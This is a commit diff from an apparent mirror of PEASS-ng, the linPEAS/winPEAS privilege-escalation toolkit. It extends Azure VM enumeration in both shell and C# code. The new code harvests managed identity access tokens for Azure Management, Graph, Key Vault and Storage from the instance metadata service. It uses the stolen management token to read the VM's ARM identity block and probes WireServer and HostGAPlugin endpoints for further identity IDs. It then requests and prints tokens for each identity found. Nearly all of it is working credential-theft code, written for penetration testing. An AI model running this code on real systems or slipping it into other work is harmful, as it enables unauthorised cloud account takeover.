mirror of
https://github.com/peass-ng/PEASS-ng.git
synced 2026-06-12 19:11:39 -07:00
Improve Azure VM managed identity discovery
This commit is contained in:
@@ -9,10 +9,108 @@
|
||||
# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title
|
||||
# Global Variables: $is_az_vm
|
||||
# Initial Functions: check_az_vm
|
||||
# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL
|
||||
# Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL, $_az_vm_token_url, $_az_vm_instance_json, $_az_vm_resource_id, $_az_vm_mgmt_token_json, $_az_vm_mgmt_token, $_az_vm_arm_json, $_az_vm_uai_id, $_az_vm_uai_client_id, $_az_vm_uai_principal_id, $_az_vm_wire_data, $_az_vm_wire_client_id, $_az_vm_wire_res_id, $_az_vm_wire_header, $_az_vm_wire_url
|
||||
# Fat linpeas: 0
|
||||
# Small linpeas: 1
|
||||
|
||||
az_vm_json_value() {
|
||||
if [ "$(command -v jq || echo -n '')" ]; then
|
||||
jq -r "$1 // empty" 2>/dev/null
|
||||
elif [ "$(command -v python3 || echo -n '')" ]; then
|
||||
python3 -c 'import json,sys
|
||||
obj=json.load(sys.stdin)
|
||||
cur=obj
|
||||
for p in sys.argv[1].strip(".").split("."):
|
||||
if not p:
|
||||
continue
|
||||
cur = cur.get(p, {}) if isinstance(cur, dict) else {}
|
||||
print(cur if isinstance(cur, str) else "")' "$1" 2>/dev/null
|
||||
else
|
||||
sed -n "s/.*\"$2\"[[:space:]]*:[[:space:]]*\"\\([^\"]*\\)\".*/\\1/p" | head -n 1
|
||||
fi
|
||||
}
|
||||
|
||||
az_vm_request() {
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
curl -s -f -L -H "$HEADER" "$1" 2>/dev/null
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
wget -q -O - --header "$HEADER" "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
az_vm_request_arm() {
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
curl -s -f -L -H "Authorization: Bearer $1" "$2" 2>/dev/null
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
wget -q -O - --header "Authorization: Bearer $1" "$2" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
az_vm_print_token() {
|
||||
_az_vm_token_url="$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=$2"
|
||||
if [ "$3" ]; then
|
||||
_az_vm_token_url="${_az_vm_token_url}\&$3"
|
||||
fi
|
||||
print_3title "$1" "T1552.005,T1580"
|
||||
exec_with_jq eval $az_req "$_az_vm_token_url"
|
||||
echo ""
|
||||
}
|
||||
|
||||
az_vm_request_wireserver() {
|
||||
_az_vm_wire_header="$1"
|
||||
_az_vm_wire_url="$2"
|
||||
if [ "$(command -v curl || echo -n '')" ]; then
|
||||
if [ "$_az_vm_wire_header" ]; then
|
||||
curl -s -f -L --connect-timeout 2 --max-time 5 -H "$_az_vm_wire_header" "$_az_vm_wire_url" 2>/dev/null
|
||||
else
|
||||
curl -s -f -L --connect-timeout 2 --max-time 5 "$_az_vm_wire_url" 2>/dev/null
|
||||
fi
|
||||
elif [ "$(command -v wget || echo -n '')" ]; then
|
||||
if [ "$_az_vm_wire_header" ]; then
|
||||
wget -q -O - --timeout 5 --tries 1 --header "$_az_vm_wire_header" "$_az_vm_wire_url" 2>/dev/null
|
||||
else
|
||||
wget -q -O - --timeout 5 --tries 1 "$_az_vm_wire_url" 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
az_vm_try_wire_identity_tokens() {
|
||||
print_3title "WireServer/HostGAPlugin managed identity fallback" "T1552.005,T1580"
|
||||
print_info "ARM identity discovery failed. Trying WireServer GoalState, ExtensionsConfig and HostGAPlugin /vmSettings for identity-looking selectors. These endpoints are environment-dependent and may expose no managed identity data."
|
||||
|
||||
_az_vm_wire_data="$(
|
||||
az_vm_request_wireserver "x-ms-version: 2012-11-30" "http://168.63.129.16/machine?comp=goalstate"
|
||||
az_vm_request_wireserver "x-ms-version: 2012-11-30" "http://168.63.129.16/machine/?comp=goalstate"
|
||||
az_vm_request_wireserver "" "http://168.63.129.16:32526/vmSettings"
|
||||
)"
|
||||
|
||||
if [ "$_az_vm_wire_data" ]; then
|
||||
printf "%s\n" "$_az_vm_wire_data" | grep -Eio '([A-Za-z0-9_./:-]*Identity[A-Za-z0-9_./:-]*|Microsoft\.ManagedIdentity/userAssignedIdentities/[^"<>[:space:]]+|clientId["[:space:]:=]+[0-9a-fA-F-]{36}|IdentityClientId[^0-9a-fA-F]*[0-9a-fA-F-]{36})' | sort -u | head -n 80
|
||||
|
||||
if [ "$(command -v jq || echo -n '')" ]; then
|
||||
printf "%s" "$_az_vm_wire_data" | jq -r '.. | objects | to_entries[]? | select((.key|test("(?i)(clientId|IdentityClientId)$")) and (.value|type=="string")) | .value' 2>/dev/null | sort -u | while read -r _az_vm_wire_client_id; do
|
||||
if printf "%s" "$_az_vm_wire_client_id" | grep -Eq '^[0-9a-fA-F-]{36}$'; then
|
||||
print_info "Trying IMDS tokens for WireServer-discovered client_id=$_az_vm_wire_client_id"
|
||||
az_vm_print_token "Management token for WireServer client_id $_az_vm_wire_client_id" "https://management.azure.com/" "client_id=$_az_vm_wire_client_id"
|
||||
az_vm_print_token "Graph token for WireServer client_id $_az_vm_wire_client_id" "https://graph.microsoft.com/" "client_id=$_az_vm_wire_client_id"
|
||||
az_vm_print_token "Vault token for WireServer client_id $_az_vm_wire_client_id" "https://vault.azure.net/" "client_id=$_az_vm_wire_client_id"
|
||||
az_vm_print_token "Storage token for WireServer client_id $_az_vm_wire_client_id" "https://storage.azure.com/" "client_id=$_az_vm_wire_client_id"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
printf "%s\n" "$_az_vm_wire_data" | grep -Eio '/subscriptions/[^"<>[:space:]]+/resourceGroups/[^"<>[:space:]]+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/[^"<>[:space:]]+' | sort -u | while read -r _az_vm_wire_res_id; do
|
||||
print_info "Trying IMDS tokens for WireServer-discovered msi_res_id=$_az_vm_wire_res_id"
|
||||
az_vm_print_token "Management token for WireServer msi_res_id" "https://management.azure.com/" "msi_res_id=$_az_vm_wire_res_id"
|
||||
az_vm_print_token "Graph token for WireServer msi_res_id" "https://graph.microsoft.com/" "msi_res_id=$_az_vm_wire_res_id"
|
||||
az_vm_print_token "Vault token for WireServer msi_res_id" "https://vault.azure.net/" "msi_res_id=$_az_vm_wire_res_id"
|
||||
az_vm_print_token "Storage token for WireServer msi_res_id" "https://storage.azure.com/" "msi_res_id=$_az_vm_wire_res_id"
|
||||
done
|
||||
else
|
||||
echo "WireServer/HostGAPlugin did not return data from this context."
|
||||
fi
|
||||
echo ""
|
||||
}
|
||||
|
||||
if [ "$is_az_vm" = "Yes" ]; then
|
||||
print_2title "Azure VM Enumeration" "T1552.005,T1580"
|
||||
@@ -47,24 +145,61 @@ if [ "$is_az_vm" = "Yes" ]; then
|
||||
echo ""
|
||||
|
||||
print_3title "Management token" "T1552.005,T1580"
|
||||
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
|
||||
print_info "This is the default VM managed identity token. If several user-assigned identities exist and no system identity is present, Azure may require client_id/object_id/msi_res_id."
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
echo ""
|
||||
|
||||
print_3title "Graph token" "T1552.005,T1580"
|
||||
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
|
||||
print_info "This is the default VM managed identity token."
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
echo ""
|
||||
|
||||
print_3title "Vault token" "T1552.005,T1580"
|
||||
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
|
||||
print_info "This is the default VM managed identity token."
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
echo ""
|
||||
|
||||
print_3title "Storage token" "T1552.005,T1580"
|
||||
print_info "It's possible to assign 1 system MI and several user MI to a VM. LinPEAS can only get the token from the default one. More info in https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm"
|
||||
print_info "This is the default VM managed identity token."
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
echo ""
|
||||
|
||||
print_3title "Attached user-assigned managed identities and tokens" "T1552.005,T1580"
|
||||
print_info "LinPEAS tries to discover all attached UAIs by using the default Management token to read the VM ARM identity block. If that token cannot read Microsoft.Compute/virtualMachines/read, IMDS can still issue tokens for known client_id/object_id/msi_res_id values, but the full attached identity list cannot be discovered from IMDS alone."
|
||||
|
||||
_az_vm_instance_json="$(az_vm_request "$URL/instance?api-version=$API_VERSION")"
|
||||
_az_vm_resource_id="$(printf "%s" "$_az_vm_instance_json" | az_vm_json_value ".compute.resourceId" "resourceId")"
|
||||
_az_vm_mgmt_token_json="$(az_vm_request "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/")"
|
||||
_az_vm_mgmt_token="$(printf "%s" "$_az_vm_mgmt_token_json" | az_vm_json_value ".access_token" "access_token")"
|
||||
|
||||
if [ "$_az_vm_resource_id" ] && [ "$_az_vm_mgmt_token" ]; then
|
||||
_az_vm_arm_json="$(az_vm_request_arm "$_az_vm_mgmt_token" "https://management.azure.com${_az_vm_resource_id}?api-version=2024-07-01")"
|
||||
if printf "%s" "$_az_vm_arm_json" | grep -q '"userAssignedIdentities"'; then
|
||||
if [ "$(command -v jq || echo -n '')" ]; then
|
||||
printf "%s" "$_az_vm_arm_json" | jq '.identity'
|
||||
printf "%s" "$_az_vm_arm_json" | jq -r '.identity.userAssignedIdentities // {} | to_entries[] | [.key, .value.clientId, .value.principalId] | @tsv' 2>/dev/null | while IFS="$(printf '\t')" read -r _az_vm_uai_id _az_vm_uai_client_id _az_vm_uai_principal_id; do
|
||||
if [ "$_az_vm_uai_client_id" ]; then
|
||||
print_info "Requesting tokens for UAI client_id=$_az_vm_uai_client_id principal_id=$_az_vm_uai_principal_id resource_id=$_az_vm_uai_id"
|
||||
az_vm_print_token "Management token for UAI $_az_vm_uai_client_id" "https://management.azure.com/" "client_id=$_az_vm_uai_client_id"
|
||||
az_vm_print_token "Graph token for UAI $_az_vm_uai_client_id" "https://graph.microsoft.com/" "client_id=$_az_vm_uai_client_id"
|
||||
az_vm_print_token "Vault token for UAI $_az_vm_uai_client_id" "https://vault.azure.net/" "client_id=$_az_vm_uai_client_id"
|
||||
az_vm_print_token "Storage token for UAI $_az_vm_uai_client_id" "https://storage.azure.com/" "client_id=$_az_vm_uai_client_id"
|
||||
fi
|
||||
done
|
||||
else
|
||||
echo "$_az_vm_arm_json" | sed "s,access_token,${SED_RED},g"
|
||||
print_info "Install jq to parse all attached user-assigned identities and request tokens for each one automatically."
|
||||
az_vm_try_wire_identity_tokens
|
||||
fi
|
||||
else
|
||||
echo "Could not read attached user-assigned identities from ARM with the default managed identity token."
|
||||
az_vm_try_wire_identity_tokens
|
||||
fi
|
||||
else
|
||||
echo "Could not obtain the VM resource ID or default Management token needed for ARM identity discovery."
|
||||
az_vm_try_wire_identity_tokens
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -3,6 +3,8 @@ using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Diagnostics;
|
||||
using System.Text.Json.Nodes;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace winPEAS.Info.CloudInfo
|
||||
{
|
||||
@@ -28,6 +30,7 @@ namespace winPEAS.Info.CloudInfo
|
||||
const string AZURE_BASE_URL = "http://169.254.169.254/metadata/";
|
||||
const string API_VERSION = "2021-12-13";
|
||||
const string CONTAINER_API_VERSION = "2019-08-01";
|
||||
const string ARM_VM_API_VERSION = "2024-07-01";
|
||||
|
||||
public static bool DoesProcessExist(string processName)
|
||||
{
|
||||
@@ -122,6 +125,8 @@ namespace winPEAS.Info.CloudInfo
|
||||
IsAttackVector = tuple.Item3
|
||||
});
|
||||
}
|
||||
|
||||
AddAzureVmUserAssignedIdentityTokens(_endpointDataList);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -164,6 +169,346 @@ namespace winPEAS.Info.CloudInfo
|
||||
return _endpointData;
|
||||
}
|
||||
|
||||
private void AddAzureVmUserAssignedIdentityTokens(List<EndpointData> endpointDataList)
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "Managed identity discovery note",
|
||||
Data = "winPEAS can request default managed identity tokens directly from IMDS. To discover every attached user-assigned identity, it tries to read the VM ARM identity block with the default Management token. If that token lacks Microsoft.Compute/virtualMachines/read, IMDS can still issue tokens for known client_id/object_id/msi_res_id values, but the full attached identity list cannot be discovered from IMDS alone.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
string instanceJson = CreateMetadataAPIRequest(
|
||||
$"{AZURE_BASE_URL}instance?api-version={API_VERSION}",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
string vmResourceId = GetJsonString(instanceJson, "compute", "resourceId");
|
||||
|
||||
string managementTokenJson = CreateMetadataAPIRequest(
|
||||
$"{AZURE_BASE_URL}identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
string managementToken = GetJsonString(managementTokenJson, "access_token");
|
||||
|
||||
if (string.IsNullOrEmpty(vmResourceId) || string.IsNullOrEmpty(managementToken))
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "Attached user-assigned managed identities",
|
||||
Data = "Could not obtain the VM resource ID or default Management token needed for ARM identity discovery.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
AddAzureVmWireServerIdentityTokens(endpointDataList);
|
||||
return;
|
||||
}
|
||||
|
||||
string armUrl = $"https://management.azure.com{vmResourceId}?api-version={ARM_VM_API_VERSION}";
|
||||
string vmJson = CreateMetadataAPIRequest(
|
||||
armUrl,
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Authorization", $"Bearer {managementToken}" } });
|
||||
|
||||
if (string.IsNullOrEmpty(vmJson))
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "Attached user-assigned managed identities",
|
||||
Data = "Could not read the VM identity block from ARM with the default managed identity token.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
AddAzureVmWireServerIdentityTokens(endpointDataList);
|
||||
return;
|
||||
}
|
||||
|
||||
JsonNode root;
|
||||
try
|
||||
{
|
||||
root = JsonNode.Parse(vmJson);
|
||||
}
|
||||
catch
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "Attached user-assigned managed identities",
|
||||
Data = vmJson,
|
||||
IsAttackVector = false
|
||||
});
|
||||
AddAzureVmWireServerIdentityTokens(endpointDataList);
|
||||
return;
|
||||
}
|
||||
|
||||
JsonNode identityNode = root?["identity"];
|
||||
JsonObject userAssignedIdentities = identityNode?["userAssignedIdentities"] as JsonObject;
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "VM ARM identity block",
|
||||
Data = identityNode?.ToJsonString() ?? "No identity block found in ARM VM response.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
if (userAssignedIdentities == null || userAssignedIdentities.Count == 0)
|
||||
{
|
||||
AddAzureVmWireServerIdentityTokens(endpointDataList);
|
||||
return;
|
||||
}
|
||||
|
||||
foreach (var identity in userAssignedIdentities)
|
||||
{
|
||||
string identityResourceId = identity.Key;
|
||||
string clientId = identity.Value?["clientId"]?.GetValue<string>();
|
||||
string principalId = identity.Value?["principalId"]?.GetValue<string>();
|
||||
|
||||
if (string.IsNullOrEmpty(clientId))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"User-assigned MI {clientId}",
|
||||
Data = $"ResourceId: {identityResourceId}\nPrincipalId: {principalId}",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&client_id={Uri.EscapeDataString(clientId)}"))
|
||||
{
|
||||
string result = CreateMetadataAPIRequest(
|
||||
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{tokenEndpoint.Item1} for UAI {clientId}",
|
||||
Data = result,
|
||||
IsAttackVector = true
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void AddAzureVmWireServerIdentityTokens(List<EndpointData> endpointDataList)
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "WireServer/HostGAPlugin managed identity fallback note",
|
||||
Data = "ARM identity discovery failed or returned no user-assigned identities. Trying WireServer GoalState and HostGAPlugin /vmSettings for identity-looking selectors. These endpoints are environment-dependent and may expose no managed identity data.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
string wireData = "";
|
||||
wireData += CreateMetadataAPIRequest(
|
||||
"http://168.63.129.16/machine?comp=goalstate",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "x-ms-version", "2012-11-30" } });
|
||||
wireData += "\n";
|
||||
wireData += CreateMetadataAPIRequest(
|
||||
"http://168.63.129.16/machine/?comp=goalstate",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "x-ms-version", "2012-11-30" } });
|
||||
wireData += "\n";
|
||||
wireData += CreateMetadataAPIRequest(
|
||||
"http://168.63.129.16:32526/vmSettings",
|
||||
"GET");
|
||||
|
||||
if (string.IsNullOrEmpty(wireData))
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "WireServer/HostGAPlugin managed identity fallback",
|
||||
Data = "WireServer/HostGAPlugin did not return data from this context.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
HashSet<string> clientIds = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
HashSet<string> resourceIds = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
CollectWireServerIdentitySelectors(wireData, clientIds, resourceIds);
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = "WireServer/HostGAPlugin identity-looking hints",
|
||||
Data = GetWireServerIdentityHints(wireData),
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
foreach (string clientId in clientIds)
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"WireServer-discovered client_id {clientId}",
|
||||
Data = "Trying IMDS tokens for this client_id.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&client_id={Uri.EscapeDataString(clientId)}"))
|
||||
{
|
||||
string result = CreateMetadataAPIRequest(
|
||||
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{tokenEndpoint.Item1} for WireServer client_id {clientId}",
|
||||
Data = result,
|
||||
IsAttackVector = true
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
foreach (string resourceId in resourceIds)
|
||||
{
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"WireServer-discovered msi_res_id {resourceId}",
|
||||
Data = "Trying IMDS tokens for this msi_res_id.",
|
||||
IsAttackVector = false
|
||||
});
|
||||
|
||||
foreach (var tokenEndpoint in GetAzureVmTokenEndpoints($"&msi_res_id={Uri.EscapeDataString(resourceId)}"))
|
||||
{
|
||||
string result = CreateMetadataAPIRequest(
|
||||
$"{AZURE_BASE_URL}{tokenEndpoint.Item2}",
|
||||
"GET",
|
||||
new WebHeaderCollection() { { "Metadata", "true" } });
|
||||
|
||||
endpointDataList.Add(new EndpointData()
|
||||
{
|
||||
EndpointName = $"{tokenEndpoint.Item1} for WireServer msi_res_id",
|
||||
Data = result,
|
||||
IsAttackVector = true
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void CollectWireServerIdentitySelectors(string wireData, HashSet<string> clientIds, HashSet<string> resourceIds)
|
||||
{
|
||||
TryCollectWireServerJsonSelectors(wireData, clientIds, resourceIds);
|
||||
|
||||
foreach (Match match in Regex.Matches(wireData, @"(?i)(clientId|IdentityClientId|client_id)[^0-9a-fA-F]{0,80}([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})"))
|
||||
{
|
||||
clientIds.Add(match.Groups[2].Value);
|
||||
}
|
||||
|
||||
foreach (Match match in Regex.Matches(wireData, @"(?i)/subscriptions/[^""<>\s]+/resourceGroups/[^""<>\s]+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/[^""<>\s]+"))
|
||||
{
|
||||
resourceIds.Add(match.Value);
|
||||
}
|
||||
}
|
||||
|
||||
private static void TryCollectWireServerJsonSelectors(string wireData, HashSet<string> clientIds, HashSet<string> resourceIds)
|
||||
{
|
||||
try
|
||||
{
|
||||
JsonNode root = JsonNode.Parse(wireData);
|
||||
CollectJsonIdentitySelectors(root, clientIds, resourceIds);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static void CollectJsonIdentitySelectors(JsonNode node, HashSet<string> clientIds, HashSet<string> resourceIds)
|
||||
{
|
||||
if (node == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (node is JsonObject obj)
|
||||
{
|
||||
foreach (var prop in obj)
|
||||
{
|
||||
string value = null;
|
||||
try
|
||||
{
|
||||
value = prop.Value?.GetValue<string>();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (!string.IsNullOrEmpty(value))
|
||||
{
|
||||
if (Regex.IsMatch(prop.Key, @"(?i)(clientId|IdentityClientId)$") && Regex.IsMatch(value, @"^[0-9a-fA-F-]{36}$"))
|
||||
{
|
||||
clientIds.Add(value);
|
||||
}
|
||||
if (Regex.IsMatch(value, @"(?i)/subscriptions/.+/providers/Microsoft\.ManagedIdentity/userAssignedIdentities/"))
|
||||
{
|
||||
resourceIds.Add(value);
|
||||
}
|
||||
}
|
||||
CollectJsonIdentitySelectors(prop.Value, clientIds, resourceIds);
|
||||
}
|
||||
}
|
||||
else if (node is JsonArray arr)
|
||||
{
|
||||
foreach (JsonNode child in arr)
|
||||
{
|
||||
CollectJsonIdentitySelectors(child, clientIds, resourceIds);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetWireServerIdentityHints(string wireData)
|
||||
{
|
||||
List<string> hints = new List<string>();
|
||||
foreach (Match match in Regex.Matches(wireData, @"(?i)([A-Za-z0-9_./:-]*Identity[A-Za-z0-9_./:-]*|Microsoft\.ManagedIdentity/userAssignedIdentities/[^""<>\s]+|clientId["":=\s]+[0-9a-fA-F-]{36}|IdentityClientId[^0-9a-fA-F]*[0-9a-fA-F-]{36})"))
|
||||
{
|
||||
if (!hints.Contains(match.Value))
|
||||
{
|
||||
hints.Add(match.Value);
|
||||
}
|
||||
if (hints.Count >= 80)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
return hints.Count > 0 ? string.Join("\n", hints) : "No identity-looking strings found in WireServer/HostGAPlugin responses.";
|
||||
}
|
||||
|
||||
private static List<Tuple<string, string, bool>> GetAzureVmTokenEndpoints(string selectorSuffix = "")
|
||||
{
|
||||
return new List<Tuple<string, string, bool>>()
|
||||
{
|
||||
new Tuple<string, string, bool>("Management token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://management.azure.com/{selectorSuffix}", true),
|
||||
new Tuple<string, string, bool>("Graph token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://graph.microsoft.com/{selectorSuffix}", true),
|
||||
new Tuple<string, string, bool>("Vault token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://vault.azure.net/{selectorSuffix}", true),
|
||||
new Tuple<string, string, bool>("Storage token", $"identity/oauth2/token?api-version={API_VERSION}&resource=https://storage.azure.com/{selectorSuffix}", true)
|
||||
};
|
||||
}
|
||||
|
||||
private static string GetJsonString(string json, params string[] path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(json))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
JsonNode current = JsonNode.Parse(json);
|
||||
foreach (string key in path)
|
||||
{
|
||||
current = current?[key];
|
||||
if (current == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return current.GetValue<string>();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public override bool TestConnection()
|
||||
{
|
||||
if (IsContainer())
|
||||
|
||||
Reference in New Issue
Block a user